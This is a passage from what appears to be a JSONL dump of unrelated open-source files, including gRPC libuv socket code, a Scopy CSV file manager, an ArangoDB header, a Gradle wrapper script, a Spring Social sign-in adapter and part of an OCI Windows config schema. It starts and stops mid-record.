uv_close((uv_handle_t*)uv_socket->handle, uv_close_callback);\n}\n\nstatic grpc_error* uv_socket_init_helper(uv_socket_t* uv_socket, int domain) {\n  uv_tcp_t* tcp = (uv_tcp_t*)gpr_malloc(sizeof(uv_tcp_t));\n  uv_socket->handle = tcp;\n  int status = uv_tcp_init_ex(uv_default_loop(), tcp, (unsigned int)domain);\n  if (status != 0) {\n    return tcp_error_create(\"Failed to initialize UV tcp handle\", status);\n  }\n#if defined(GPR_LINUX) && defined(SO_REUSEPORT)\n  if (domain == AF_INET || domain == AF_INET6) {\n    int enable = 1;\n    int fd;\n    uv_fileno((uv_handle_t*)tcp, &fd);\n    // TODO Handle error here.\n    setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &enable, sizeof(enable));\n  }\n#endif\n  uv_socket->write_buffers = nullptr;\n  uv_socket->read_len = 0;\n  uv_tcp_nodelay(uv_socket->handle, 1);\n  // Node uses a garbage collector to call destructors, so we don't\n  // want to hold the uv loop open with active gRPC objects.\n  uv_unref((uv_handle_t*)uv_socket->handle);\n  uv_socket->pending_connections = 0;\n  uv_socket->accept_socket = nullptr;\n  uv_socket->accept_error = GRPC_ERROR_NONE;\n  return GRPC_ERROR_NONE;\n}\n\nstatic grpc_error* uv_socket_init(grpc_custom_socket* socket, int domain) {\n  uv_socket_t* uv_socket = (uv_socket_t*)gpr_malloc(sizeof(uv_socket_t));\n  grpc_error* error = uv_socket_init_helper(uv_socket, domain);\n  if (error != GRPC_ERROR_NONE) {\n    return error;\n  }\n  uv_socket->handle->data = socket;\n  socket->impl = uv_socket;\n  return GRPC_ERROR_NONE;\n}\n\nstatic grpc_error* uv_socket_getpeername(grpc_custom_socket* socket,\n                                         const grpc_sockaddr* addr,\n                                         int* addr_len) {\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  int err = uv_tcp_getpeername(uv_socket->handle,\n                               (struct sockaddr*)IGNORE_CONST(addr), addr_len);\n  return tcp_error_create(\"getpeername failed\", err);\n}\n\nstatic grpc_error* uv_socket_getsockname(grpc_custom_socket* socket,\n                                         const grpc_sockaddr* addr,\n                                         int* addr_len) {\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  int err = uv_tcp_getsockname(uv_socket->handle,\n                               (struct sockaddr*)IGNORE_CONST(addr), addr_len);\n  return tcp_error_create(\"getsockname failed\", err);\n}\n\nstatic void accept_new_connection(grpc_custom_socket* socket) {\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  if (uv_socket->pending_connections == 0 || !uv_socket->accept_socket) {\n    return;\n  }\n  grpc_custom_socket* new_socket = uv_socket->accept_socket;\n  grpc_error* error = uv_socket->accept_error;\n  uv_socket->accept_socket = nullptr;\n  uv_socket->accept_error = GRPC_ERROR_NONE;\n  uv_socket->pending_connections -= 1;\n  if (uv_socket->accept_error != GRPC_ERROR_NONE) {\n    uv_stream_t dummy_handle;\n    uv_accept((uv_stream_t*)uv_socket->handle, &dummy_handle);\n    uv_socket->accept_cb(socket, new_socket, error);\n  } else {\n    uv_socket_t* uv_new_socket = (uv_socket_t*)gpr_malloc(sizeof(uv_socket_t));\n    uv_socket_init_helper(uv_new_socket, AF_UNSPEC);\n    // UV documentation says this is guaranteed to succeed\n    GPR_ASSERT(uv_accept((uv_stream_t*)uv_socket->handle,\n                         (uv_stream_t*)uv_new_socket->handle) == 0);\n    new_socket->impl = uv_new_socket;\n    uv_new_socket->handle->data = new_socket;\n    uv_socket->accept_cb(socket, new_socket, error);\n  }\n}\n\nstatic void uv_on_connect(uv_stream_t* server, int status) {\n  grpc_custom_socket* socket = (grpc_custom_socket*)server->data;\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  if (status < 0) {\n    switch (status) {\n      case UV_EINTR:\n      case UV_EAGAIN:\n        return;\n      default:\n        uv_socket->accept_error = tcp_error_create(\"accept failed\", status);\n    }\n  }\n  uv_socket->pending_connections += 1;\n  accept_new_connection(socket);\n}\n\nvoid uv_socket_accept(grpc_custom_socket* socket,\n                      grpc_custom_socket* new_socket,\n                      grpc_custom_accept_callback accept_cb) {\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  uv_socket->accept_cb = accept_cb;\n  GPR_ASSERT(uv_socket->accept_socket == nullptr);\n  uv_socket->accept_socket = new_socket;\n  accept_new_connection(socket);\n}\n\nstatic grpc_error* uv_socket_bind(grpc_custom_socket* socket,\n                                  const grpc_sockaddr* addr, size_t len,\n                                  int flags) {\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  int status =\n      uv_tcp_bind((uv_tcp_t*)uv_socket->handle, (struct sockaddr*)addr, 0);\n  return tcp_error_create(\"Failed to bind to port\", status);\n}\n\nstatic grpc_error* uv_socket_listen(grpc_custom_socket* socket) {\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  int status =\n      uv_listen((uv_stream_t*)uv_socket->handle, SOMAXCONN, uv_on_connect);\n  return tcp_error_create(\"Failed to listen to port\", status);\n}\n\nstatic void uv_tc_on_connect(uv_connect_t* req, int status) {\n  grpc_custom_socket* socket = (grpc_custom_socket*)req->data;\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  grpc_error* error;\n  if (status == UV_ECANCELED) {\n    // This should only happen if the handle is already closed\n    error = GRPC_ERROR_CREATE_FROM_STATIC_STRING(\"Timeout occurred\");\n  } else {\n    error = tcp_error_create(\"Failed to connect to remote host\", status);\n  }\n  uv_socket->connect_cb(socket, error);\n}\n\nstatic void uv_socket_connect(grpc_custom_socket* socket,\n                              const grpc_sockaddr* addr, size_t len,\n                              grpc_custom_connect_callback connect_cb) {\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  uv_socket->connect_cb = connect_cb;\n  uv_socket->connect_req.data = socket;\n  int status = uv_tcp_connect(&uv_socket->connect_req, uv_socket->handle,\n                              (struct sockaddr*)addr, uv_tc_on_connect);\n  if (status != 0) {\n    // The callback will not be called\n    uv_socket->connect_cb(socket, tcp_error_create(\"connect failed\", status));\n  }\n}\n\nstatic grpc_resolved_addresses* handle_addrinfo_result(\n    struct addrinfo* result) {\n  struct addrinfo* resp;\n  size_t i;\n  grpc_resolved_addresses* addresses =\n      (grpc_resolved_addresses*)gpr_malloc(sizeof(grpc_resolved_addresses));\n  addresses->naddrs = 0;\n  for (resp = result; resp != nullptr; resp = resp->ai_next) {\n    addresses->naddrs++;\n  }\n  addresses->addrs = (grpc_resolved_address*)gpr_malloc(\n      sizeof(grpc_resolved_address) * addresses->naddrs);\n  for (resp = result, i = 0; resp != nullptr; resp = resp->ai_next, i++) {\n    memcpy(&addresses->addrs[i].addr, resp->ai_addr, resp->ai_addrlen);\n    addresses->addrs[i].len = resp->ai_addrlen;\n  }\n  // addrinfo objects are allocated by libuv (e.g. in uv_getaddrinfo)\n  // and not by gpr_malloc\n  uv_freeaddrinfo(result);\n  return addresses;\n}\n\nstatic void uv_resolve_callback(uv_getaddrinfo_t* req, int status,\n                                struct addrinfo* res) {\n  grpc_custom_resolver* r = (grpc_custom_resolver*)req->data;\n  gpr_free(req);\n  grpc_resolved_addresses* result = nullptr;\n  if (status == 0) {\n    result = handle_addrinfo_result(res);\n  }\n  grpc_custom_resolve_callback(r, result,\n                               tcp_error_create(\"getaddrinfo failed\", status));\n}\n\nstatic grpc_error* uv_resolve(const char* host, const char* port,\n                              grpc_resolved_addresses** result) {\n  int status;\n  uv_getaddrinfo_t req;\n  struct addrinfo hints;\n  memset(&hints, 0, sizeof(struct addrinfo));\n  hints.ai_family = AF_UNSPEC;     /* ipv4 or ipv6 */\n  hints.ai_socktype = SOCK_STREAM; /* stream socket */\n  hints.ai_flags = AI_PASSIVE;     /* for wildcard IP address */\n  status = uv_getaddrinfo(uv_default_loop(), &req, NULL, host, port, &hints);\n  if (status != 0) {\n    *result = nullptr;\n  } else {\n    *result = handle_addrinfo_result(req.addrinfo);\n  }\n  return tcp_error_create(\"getaddrinfo failed\", status);\n}\n\nstatic void uv_resolve_async(grpc_custom_resolver* r, const char* host,\n                             const char* port) {\n  int status;\n  uv_getaddrinfo_t* req =\n      (uv_getaddrinfo_t*)gpr_malloc(sizeof(uv_getaddrinfo_t));\n  req->data = r;\n  struct addrinfo hints;\n  memset(&hints, 0, sizeof(struct addrinfo));\n  hints.ai_family = GRPC_AF_UNSPEC;     /* ipv4 or ipv6 */\n  hints.ai_socktype = GRPC_SOCK_STREAM; /* stream socket */\n  hints.ai_flags = GRPC_AI_PASSIVE;     /* for wildcard IP address */\n  status = uv_getaddrinfo(uv_default_loop(), req, uv_resolve_callback, host,\n                          port, &hints);\n  if (status != 0) {\n    gpr_free(req);\n    grpc_error* error = tcp_error_create(\"getaddrinfo failed\", status);\n    grpc_custom_resolve_callback(r, NULL, error);\n  }\n}\n\ngrpc_custom_resolver_vtable uv_resolver_vtable = {uv_resolve, uv_resolve_async};\n\ngrpc_socket_vtable grpc_uv_socket_vtable = {\n    uv_socket_init,     uv_socket_connect,     uv_socket_destroy,\n    uv_socket_shutdown, uv_socket_close,       uv_socket_write,\n    uv_socket_read,     uv_socket_getpeername, uv_socket_getsockname,\n    uv_socket_bind,     uv_socket_listen,      uv_socket_accept};\n\n#endif\n"}
+{"text": "fileFormatVersion: 2\nguid: 990f7954e360c0d49b7493ae45fe2e17\nMonoImporter:\n  externalObjects: {}\n  serializedVersion: 2\n  defaultReferences: []\n  executionOrder: 0\n  icon: {instanceID: 0}\n  userData: \n  assetBundleName: \n  assetBundleVariant: \n"}
+{"text": "\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\"\"\n\n"}
+{"text": "/*\n * Copyright (c) 2019 Analog Devices Inc.\n *\n * This file is part of Scopy\n * (see http://www.github.com/analogdevicesinc/scopy).\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"filemanager.h\"\n#include \"config.h\"\n\n#include \n#include \n#include \n\nusing namespace adiscope;\n\nFileManager::FileManager(QString toolName) :\n\thasHeader(false),\n\tsampleRate(0),\n\tnrOfSamples(0),\n\ttoolName(toolName)\n{\n\n}\n\nFileManager::~FileManager()\n{\n\n}\n\nvoid FileManager::open(QString fileName,\n\t\t       FileManager::FilePurpose filepurpose)\n{\n\t//read the data from the file if filepurpose is Import\n\t//throws exception if the file is corrupted, has a header but not the scopy one\n\t//columns with different sizes etc..\n\n\tQVector> raw_data;\n\tbool srOk = true;\n\tbool dataOk = true;\n\n\topenedFor = filepurpose;\n\n\tif (fileName.endsWith(\".csv\")) {\n\t\tseparator = \",\";\n\t\tfileType = CSV;\n\t} else if (fileName.endsWith(\".txt\")) {\n\t\tseparator = \"\\t\";\n\t\tfileType = TXT;\n\t\t//find sep to read txt files\n\t}\n\n\t//clear previous data if the manager was used for other exports\n\tdata.clear();\n\tcolumnNames.clear();\n\tthis->filename = fileName;\n\n\tif (filepurpose == IMPORT) {\n\n\t\tif (fileName.isEmpty()) {\n\t\t\tthrow FileManagerException(\"No file selected\");\n\t\t}\n\n\t\tQFile file(fileName);\n\t\tif (!file.open(QIODevice::ReadOnly)) {\n\t\t\tthrow FileManagerException(\"Can't open selected file\");\n\t\t}\n\n\t\tQTextStream in(&file);\n\n\t\tfor (int i = 0; i < data.size(); ++i)\n\t\t\tdata[i].clear();\n\n\t\twhile (!in.atEnd()) {\n\t\t\tQVector line_data;\n\t\t\tQString line = in.readLine();\n\t\t\tQStringList list = line.split(separator, QString::SkipEmptyParts);\n\t\t\tfor (QString list_item : list) {\n\t\t\t\tline_data.push_back(list_item);\n\t\t\t}\n\t\t\tif (line_data.size() > 0) {\n\t\t\t\traw_data.push_back(line_data);\n\t\t\t}\n\t\t}\n\n\t\t//check if it has a header or not\n\t\t/*\n\t\t*  Header format\n\t\t*\n\t\t*       ;Scopy version  abcdefg\n\t\t*       ;Exported on  Wed Apr 4 13:49:01 2018\n\t\t*       ;Device  M2K\n\t\t*       ;Nr of samples  1234\n\t\t*       ;Sample rate  1234 or 0 if it does not have samp. rate\n\t\t*       ;Tool:  Oscilloscope/ Spectrum ...\n\t\t*       ;Additional Information\n\t\t*/\n\n\t\thasHeader = ScopyFileHeader::hasValidHeader(raw_data);\n\t\tif (hasHeader) {\n\n\t\t\tformat = SCOPY;\n\n\t\t\t//first column in data is the time!!! when retrieving channel data start from data[1]\n\t\t\tfor (int i = 1; i < raw_data[6].size(); ++i) {\n\t\t\t\tadditionalInformation.push_back(raw_data[6][i]);\n\t\t\t}\n\n\t\t\tsampleRate = raw_data[4][1].toDouble(&srOk);\n\t\t\tif (!srOk) {\n\t\t\t\tthrow FileManagerException(\"File is corrupted!\");\n\t\t\t}\n\t\t\t//should be 0 if read from network/spectrum analyzer exported file\n\n\t\t\tfor (int j = 1; j < raw_data[7].size(); ++j)\n\t\t\t\tcolumnNames.push_back(raw_data[7][j]);\n\n\t\t\tdata.resize(raw_data.size() - 8);\n\t\t\tfor (int i = 0; i < data.size(); ++i) {\n\t\t\t\tdata[i].resize(raw_data[i + 8].size() - 1);\n\t\t\t}\n\n\t\t\tfor (int i = 8; i < raw_data.size(); ++i) {\n\t\t\t\tfor (int j = 1; j < raw_data[i].size(); ++j) {\n\t\t\t\t\tdata[i - 8][j - 1] = raw_data[i][j].toDouble(&dataOk);\n\t\t\t\t\tif (!dataOk) {\n\t\t\t\t\t\tthrow FileManagerException(\"File is corrupted!\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\n\t\t\tformat = RAW;\n\n\t\t\tdata.resize(raw_data.size());\n\t\t\tfor (int i = 0; i < data.size(); ++i) {\n\t\t\t\tdata[i].resize(raw_data[i].size());\n\t\t\t}\n\n\t\t\tfor (int i = 0; i < raw_data.size(); ++i) {\n\t\t\t\tfor (int j = 0; j < raw_data[i].size(); ++j) {\n\t\t\t\t\tdata[i][j] = raw_data[i][j].toDouble(&dataOk);\n\t\t\t\t\tif (!dataOk) {\n\t\t\t\t\t\tthrow FileManagerException(\"File is corrupted!\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tnrOfSamples = data.size();\n\t}\n}\n\nvoid FileManager::save(QVector data, QString name)\n{\n\tthis->columnNames.push_back(name);\n\n\tif (this->data.size() == 0) {\n\t\tthis->data.resize(data.size());\n\t}\n\n\tfor (int i = 0; i < data.size(); ++i) {\n\t\tthis->data[i].push_back(data[i]);\n\t}\n}\n\nvoid FileManager::save(QVector > data, QStringList columnNames)\n{\n\tfor (auto &column : data) {\n\t\tthis->data.push_back(column);\n\t}\n\n\tfor (auto &column_name : columnNames) {\n\t\tthis->columnNames.push_back(column_name);\n\t}\n}\n\nQVector FileManager::read(int index)\n{\n\tif (index < 0 || index + 1 >= data.size()) {\n\t\treturn QVector();\n\t}\n\n\tif (hasHeader) {\n\t\tindex++;\n\t}\n\n\tQVector channel_data;\n\tfor (int i = 0; i < nrOfSamples; ++i) {\n\t\tchannel_data.push_back(data[i][index]);\n\t}\n\n\treturn channel_data;\n}\n\nQVector> FileManager::read()\n{\n\treturn data;\n}\n\nvoid FileManager::setColumnName(int index, QString name)\n{\n\tif (index < 0 || index >= data.size()) {\n\t\treturn;\n\t}\n\n\tcolumnNames[index] = name;\n}\n\nQString FileManager::getColumnName(int index)\n{\n\tif (index < 0 || index >= columnNames.size()) {\n\t\treturn \"\";\n\t}\n\n\tif (hasHeader) {\n\t\tindex++;\n\t}\n\n\treturn columnNames[index];\n}\n\ndouble FileManager::getSampleRate() const\n{\n\treturn sampleRate;\n}\n\nvoid FileManager::setSampleRate(double sampleRate)\n{\n\tthis->sampleRate = sampleRate;\n}\n\ndouble FileManager::getNrOfSamples() const\n{\n\treturn nrOfSamples;\n}\n\nint FileManager::getNrOfChannels() const\n{\n\tif (data.size() == 0) {\n\t\treturn 0;\n\t}\n\n\tif (hasHeader) {\n\t\treturn data[0].size() - 1;\n\t} else {\n\t\treturn data[0].size();\n\t}\n}\n\nvoid FileManager::performWrite()\n{\n\tQString additionalInfo = \"\";\n\tif (openedFor == IMPORT) {\n\t\tqDebug() << \"Can't write when opened for import!\";\n\t\treturn;\n\t}\n\n\tQFile exportFile(filename);\n\texportFile.open(QIODevice::WriteOnly);\n\tQTextStream exportStream(&exportFile);\n\n\tadditionalInfo = (additionalInformation.size() != 0) ? additionalInformation[0] : \"\";\n\n\tQStringList header = ScopyFileHeader::getHeader();\n\n\t//prepare header\n\texportStream << header[0] << separator << QString(SCOPY_VERSION_GIT) << \"\\n\";\n\texportStream << header[1] << separator << QDate::currentDate().toString(\"dddd MMMM dd/MM/yyyy\") << \"\\n\";\n\texportStream << header[2] << separator << \"M2K\" << \"\\n\";\n\texportStream << header[3] << separator << data.size() << \"\\n\";\n\texportStream << header[4] << separator << sampleRate << \"\\n\";\n\texportStream << header[5] << separator << toolName << \"\\n\";\n\texportStream << header[6] << separator << additionalInfo << \"\\n\";\n\n\t//column names row\n\texportStream << \"Sample\" << separator;\n\tbool skipFirstSeparator=true;\n\tfor (QString columnName : columnNames) {\n\t\tif(!skipFirstSeparator)\n\t\t\texportStream << separator;\n\t\texportStream << columnName;\n\t\tskipFirstSeparator = false;\n\t}\n\texportStream << \"\\n\";\n\n\tfor (int i = 0; i < data.size(); ++i) {\n\t\tskipFirstSeparator = true;\n\t\texportStream << QString::number(i) << separator;\n\t\tfor (int j = 0; j < data[i].size(); ++j) {\n\t\t\tif(!skipFirstSeparator)\n\t\t\t\texportStream << separator;\n\t\t\texportStream << data[i][j];\n\t\t\tskipFirstSeparator = false;\n\t\t}\n\t\texportStream << \"\\n\";\n\t}\n\n\texportFile.close();\n}\n\nQStringList FileManager::getAdditionalInformation() const\n{\n\treturn additionalInformation;\n}\n\nvoid FileManager::setAdditionalInformation(const QString &value)\n{\n\n\tadditionalInformation.push_back(value);\n}\n\nFileManager::FileFormat FileManager::getFormat() const\n{\n\treturn format;\n}\n\nvoid FileManager::setFormat(const FileManager::FileFormat &value)\n{\n\tformat = value;\n}\n\nbool ScopyFileHeader::hasValidHeader(QVector> data)\n{\n\n\tQStringList header_elements = getHeader();\n\n\tif (data.size() < header_elements.size()) {\n\t\treturn false;\n\t}\n\n\tfor (int i = 0; i < header_elements.size(); ++i) {\n\t\tif (data[i][0] != header_elements[i]) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\treturn true;\n}\n\nQStringList ScopyFileHeader::getHeader()\n{\n\n\tQStringList header_elements = QStringList() << \";Scopy version\"\n\t\t\t\t\t\t    << \";Exported on\"\n\t\t\t\t\t\t    << \";Device\"\n\t\t\t\t\t\t    << \";Nr of samples\"\n\t\t\t\t\t\t    << \";Sample rate\"\n\t\t\t\t\t\t    << \";Tool\"\n\t\t\t\t\t\t    << \";Additional Information\";\n\treturn header_elements;\n}\n"}
+{"text": "////////////////////////////////////////////////////////////////////////////////\n/// DISCLAIMER\n///\n/// Copyright 2014-2020 ArangoDB GmbH, Cologne, Germany\n/// Copyright 2004-2014 triAGENS GmbH, Cologne, Germany\n///\n/// Licensed under the Apache License, Version 2.0 (the \"License\");\n/// you may not use this file except in compliance with the License.\n/// You may obtain a copy of the License at\n///\n///     http://www.apache.org/licenses/LICENSE-2.0\n///\n/// Unless required by applicable law or agreed to in writing, software\n/// distributed under the License is distributed on an \"AS IS\" BASIS,\n/// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n/// See the License for the specific language governing permissions and\n/// limitations under the License.\n///\n/// Copyright holder is ArangoDB GmbH, Cologne, Germany\n///\n/// @author Simon Grätzer\n////////////////////////////////////////////////////////////////////////////////\n\n#ifndef ARANGOD_ROCKSDB_ENGINE_BACKGROUND_H\n#define ARANGOD_ROCKSDB_ENGINE_BACKGROUND_H 1\n\n#include \"Basics/Common.h\"\n#include \"Basics/ConditionVariable.h\"\n#include \"Basics/Thread.h\"\n\nnamespace arangodb {\n\nclass RocksDBEngine;\n\nclass RocksDBBackgroundThread final : public Thread {\n public:\n  //////////////////////////////////////////////////////////////////////////////\n  /// @brief engine pointer\n  //////////////////////////////////////////////////////////////////////////////\n  RocksDBEngine& _engine;\n\n  //////////////////////////////////////////////////////////////////////////////\n  /// @brief interval in which we will run\n  //////////////////////////////////////////////////////////////////////////////\n  double const _interval;\n\n  //////////////////////////////////////////////////////////////////////////////\n  /// @brief condition variable for heartbeat\n  //////////////////////////////////////////////////////////////////////////////\n  arangodb::basics::ConditionVariable _condition;\n\n  RocksDBBackgroundThread(RocksDBEngine& eng, double interval);\n  ~RocksDBBackgroundThread();\n\n  void beginShutdown() override;\n\n protected:\n  void run() override;\n};\n}  // namespace arangodb\n\n#endif\n"}
+{"text": "@if \"%DEBUG%\" == \"\" @echo off\r\n@rem ##########################################################################\r\n@rem\r\n@rem  Gradle startup script for Windows\r\n@rem\r\n@rem ##########################################################################\r\n\r\n@rem Set local scope for the variables with windows NT shell\r\nif \"%OS%\"==\"Windows_NT\" setlocal\r\n\r\n@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\r\nset DEFAULT_JVM_OPTS=\r\n\r\nset DIRNAME=%~dp0\r\nif \"%DIRNAME%\" == \"\" set DIRNAME=.\r\nset APP_BASE_NAME=%~n0\r\nset APP_HOME=%DIRNAME%\r\n\r\n@rem Find java.exe\r\nif defined JAVA_HOME goto findJavaFromJavaHome\r\n\r\nset JAVA_EXE=java.exe\r\n%JAVA_EXE% -version >NUL 2>&1\r\nif \"%ERRORLEVEL%\" == \"0\" goto init\r\n\r\necho.\r\necho ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\r\necho.\r\necho Please set the JAVA_HOME variable in your environment to match the\r\necho location of your Java installation.\r\n\r\ngoto fail\r\n\r\n:findJavaFromJavaHome\r\nset JAVA_HOME=%JAVA_HOME:\"=%\r\nset JAVA_EXE=%JAVA_HOME%/bin/java.exe\r\n\r\nif exist \"%JAVA_EXE%\" goto init\r\n\r\necho.\r\necho ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%\r\necho.\r\necho Please set the JAVA_HOME variable in your environment to match the\r\necho location of your Java installation.\r\n\r\ngoto fail\r\n\r\n:init\r\n@rem Get command-line arguments, handling Windowz variants\r\n\r\nif not \"%OS%\" == \"Windows_NT\" goto win9xME_args\r\nif \"%@eval[2+2]\" == \"4\" goto 4NT_args\r\n\r\n:win9xME_args\r\n@rem Slurp the command line arguments.\r\nset CMD_LINE_ARGS=\r\nset _SKIP=2\r\n\r\n:win9xME_args_slurp\r\nif \"x%~1\" == \"x\" goto execute\r\n\r\nset CMD_LINE_ARGS=%*\r\ngoto execute\r\n\r\n:4NT_args\r\n@rem Get arguments from the 4NT Shell from JP Software\r\nset CMD_LINE_ARGS=%$\r\n\r\n:execute\r\n@rem Setup the command line\r\n\r\nset CLASSPATH=%APP_HOME%\\gradle\\wrapper\\gradle-wrapper.jar\r\n\r\n@rem Execute Gradle\r\n\"%JAVA_EXE%\" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% \"-Dorg.gradle.appname=%APP_BASE_NAME%\" -classpath \"%CLASSPATH%\" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%\r\n\r\n:end\r\n@rem End local scope for the variables with windows NT shell\r\nif \"%ERRORLEVEL%\"==\"0\" goto mainEnd\r\n\r\n:fail\r\nrem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of\r\nrem the _cmd.exe /c_ return code!\r\nif  not \"\" == \"%GRADLE_EXIT_CONSOLE%\" exit 1\r\nexit /b 1\r\n\r\n:mainEnd\r\nif \"%OS%\"==\"Windows_NT\" endlocal\r\n\r\n:omega\r\n"}
+{"text": "\n\n\n\n\tCFBundleDevelopmentRegion\n\ten\n\tCFBundleDisplayName\n\t${PRODUCT_NAME}\n\tCFBundleExecutable\n\t${EXECUTABLE_NAME}\n\tCFBundleIdentifier\n\tmixi.${PRODUCT_NAME:rfc1034identifier}\n\tCFBundleInfoDictionaryVersion\n\t6.0\n\tCFBundleName\n\t${PRODUCT_NAME}\n\tCFBundlePackageType\n\tAPPL\n\tCFBundleShortVersionString\n\t1.0\n\tCFBundleSignature\n\t????\n\tCFBundleVersion\n\t1.0\n\tLSRequiresIPhoneOS\n\t\n\tUIRequiredDeviceCapabilities\n\t\n\t\tarmv7\n\t\n\tUIStatusBarTintParameters\n\t\n\t\tUINavigationBar\n\t\t\n\t\t\tStyle\n\t\t\tUIBarStyleDefault\n\t\t\tTranslucent\n\t\t\t\n\t\t\n\t\n\tUISupportedInterfaceOrientations\n\t\n\t\tUIInterfaceOrientationPortrait\n\t\tUIInterfaceOrientationLandscapeLeft\n\t\tUIInterfaceOrientationLandscapeRight\n\t\n\n\n"}
+{"text": "/*\n * Copyright 2014 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.springframework.social.showcase.signin;\n\nimport javax.inject.Inject;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\n\nimport org.springframework.security.web.WebAttributes;\nimport org.springframework.security.web.savedrequest.RequestCache;\nimport org.springframework.security.web.savedrequest.SavedRequest;\nimport org.springframework.social.connect.Connection;\nimport org.springframework.social.connect.web.SignInAdapter;\nimport org.springframework.web.context.request.NativeWebRequest;\n\npublic class ImplicitSignInAdapter implements SignInAdapter {\n\n\tprivate final RequestCache requestCache;\n\n\t@Inject\n\tpublic ImplicitSignInAdapter(RequestCache requestCache) {\n\t\tthis.requestCache = requestCache;\n\t}\n\t\n\t@Override\n\tpublic String signIn(String localUserId, Connection connection, NativeWebRequest request) {\n\t\tString providerUserId = connection.getKey().getProviderUserId();\n\t\tSignInUtils.signin(providerUserId);\n\t\treturn extractOriginalUrl(request);\n\t}\n\n\tprivate String extractOriginalUrl(NativeWebRequest request) {\n\t\tHttpServletRequest nativeReq = request.getNativeRequest(HttpServletRequest.class);\n\t\tHttpServletResponse nativeRes = request.getNativeResponse(HttpServletResponse.class);\n\t\tSavedRequest saved = requestCache.getRequest(nativeReq, nativeRes);\n\t\tif (saved == null) {\n\t\t\treturn null;\n\t\t}\n\t\trequestCache.removeRequest(nativeReq, nativeRes);\n\t\tremoveAutheticationAttributes(nativeReq.getSession(false));\n\t\treturn saved.getRedirectUrl();\n\t}\n\t\t \n\tprivate void removeAutheticationAttributes(HttpSession session) {\n\t\tif (session == null) {\n\t\t\treturn;\n\t\t}\n\t\tsession.removeAttribute(WebAttributes.AUTHENTICATION_EXCEPTION);\n\t}\n\n}\n"}
+{"text": "{\n    \"windows\": {\n        \"description\": \"Windows platform-specific configurations\",\n        \"type\": \"object\",\n        \"properties\": {\n            \"layerFolders\": {\n                \"type\": \"array\",\n                \"items\": {\n                    \"$ref\": \"defs.json#/definitions/FilePath\"\n                },\n                \"minItems\": 1\n            },\n            \"devices\": {\n                \"type\": \"array\",\n                \"items\": {\n                    \"$ref\": \"defs-windows.json#/definitions/Device\"\n                }\n            },\n            \"resources\": {\n                \"type\": \"object\",\n                \"properties\": {\n                    \"memory\": {\n                        \"type\": \"object\",\n                        \"properties\": {\n                            \"limit\": {\n                                \"$ref\": \"defs.json#/definitions/uint64\"\n                            }\n                        }\n                    },\n                    \"cpu\": {\n                        \"type\": \"object\",\n                        \"properties\": {\n                            \"count\": {\n                                \"$ref\": \"defs.json#/definitions/uint64\"\n                            },\n                            \"shares\": {\n                                \"$ref\": \"defs.json#/definitions/uint16\"\n                            },\n                            \"maximum\": {\n                                \"$ref\": \"defs.json#/definitions/uint16\"\n                            }\n                        }\n                    },\n                    \"storage\": {\n                        \"type\": \"object\",\n                        \"properties\": {\n                            \"iops\": {\n                                \"$ref\": \"defs.json#/definitions/uint64\"\n                            },\n                            \"bps\": {\n                                \"$ref\": \"defs.json#/definitions/uint64\"\n                            },\n                            \"sandboxSize\": {\n                                \"$ref\": \"defs.json#/definitions/uint64\"\n                            }\n                        }\n                    }\n                }\n            },\n            \"network\": {\n                \"type\": \"object\",\n                \"properties\": {\n                    \"endpointList\": {\n                        \"$ref\": \"defs.json#/definitions/ArrayOfStrings\"\n                    },\n                    \"allowUnqualifiedDNSQuery\": {\n                        \"type\": \"boolean\"\n                    },\n                    \"DNSSearchList\": {\n                        \"$ref\": \"defs.json#/definitions/ArrayOfStrings\"\n                    },\n                    \"networkSharedContainerName\": {\n                        \"type\": \"string\"\n                    },\n                    \"networkNamespace\": {\n                        \"type\": \"string\"\n                    }\n                }\n            },\n            \"credentialSpec\": {\n                \"type\": \"object\"\n            },\n            \"servicing\": {\n                \"type\": \"boolean\"\n            },\n            \"ignoreFlushesDuringBoot\": {\n                \"type\": \"boolean\"\n            },\n            \"hyperv\": {\n                \"type\": 